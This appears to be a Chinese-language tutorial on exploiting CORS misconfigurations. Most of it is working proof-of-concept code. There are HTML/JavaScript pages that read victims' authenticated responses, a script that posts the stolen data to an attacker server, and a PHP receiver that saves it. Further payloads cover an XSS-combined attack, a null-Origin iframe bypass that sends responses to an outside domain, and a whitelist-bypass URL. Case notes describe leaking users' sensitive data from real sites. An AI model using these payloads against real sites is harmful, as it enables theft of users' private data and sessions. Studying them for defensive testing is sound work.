CORS漏洞的利用方式（精）

1.同于csrf跨站请求伪造，发送钓鱼链接，读取用户敏感数据。

poc：

<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3><div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div><script>
function cors() {var xhttp = new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.getElementById("demo").innerHTML = alert(this.responseText);}};xhttp.open("GET", "https://target.com/info/", true);xhttp.withCredentials = true;xhttp.send();
}
</script>
</body>
</html>

用户点击button弹出响应信息

document.getElementById("demo").innerHTML = alert(this.responseText);

上面代码只是弹出响应信息，你还可以获取cookie，针对http-only js代码无法读取的情况：

<!DOCTYPE>
<html>
<h1>cors exploit</h1>
<script type="text/javascript">
function exploit()
{var xhr1;var xhr2;if(window.XMLHttpRequest){xhr1 = new XMLHttpRequest();xhr2 = new XMLHttpRequest();}else{xhr1 = new ActiveXObject("Microsoft.XMLHTTP");xhr2= new ActiveXObject("Microsoft.XMLHTTP");}xhr1.onreadystatechange=function(){if(xhr1.readyState == 4 && xhr1.status == 200) {var datas=xhr1.responseText;xhr2.open("POST","http://192.168.1.2/test.php","true");xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");xhr2.send("z0="+escape(datas));      }}xhr1.open("GET","http:/192.168.1.1/index.php","true") xhr1.withCredentials = true;        xhr1.send();
}
exploit();
</script>
</html>

搭建的攻击服务器恶意代码 tes.php：

<?php
$file = fopen("secrect.html", "w+");
$res = $_POST['z0'];
fwrite($file, $res);
fclose($res);
?>

2.结合xss漏洞利用cors漏洞，针对http_only js代码无法读取

poc:

function exploit() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {   if (this.status == 200) {   alert(this.responseText);    document.getElementById("demo").innerHTML = this.responseText;   }
};
xhttp.open("GET", "http://192.168.1.1/index.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
exploit();

利用：

http://192.168.1.1/index.php?<script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","http:///192.168.1.1",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

同理结合上面代码，发送到你的服务器

3.基于白名单防护的绕过

Origin: null

同上，判断是否支持null

如果支持可以使用iframe跨域请求，绕过

poc：

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vuln.com',true);
req.withCredentials = true;
req.send();function reqListener() {
location='your.com/l?get='+this.responseText;
};
</script>'></iframe>

4. 某实例

1）SEMrush CORS misconfig

访问semrush的一个api端点，插入Origin头为攻击者服务器：

返回信息主体是用户敏感信息，需注意的是返回的Access-Control-Allow-Origin是攻击者服务器，这意味着系统存在CORS配置错误。

下一步，构造HTML文件，诱使受害者点击：

点击后，界面将弹出受害者敏感信息：

修改一下reqListener()函数为

location='//atttacker.net/log?key='+this.responseText;将把敏感数据发到攻击者服务器。

2）redacted子域XSS+ CORSmisconfig

和上面的案例类似，只是Origin接受的是redacted和子域：Origin:evil.redacted.com，要利用这个漏洞，必须在子域中寻找一个xss漏洞，结合xss发起请求，最终在banques.redacted.com发现xss：

https://banques.redacted.com/choice-quiz?form_banque=“> <script> alert（document.domain）</script>＆form_cartes= 73＆iframestat= 1，将alert事件替换为CORS请求：

最终poc为：

成功获取到敏感数据：

3）绕过手段

绕过通常使用如下poc：

http://www.target.local{.<your-domain>/cors-poc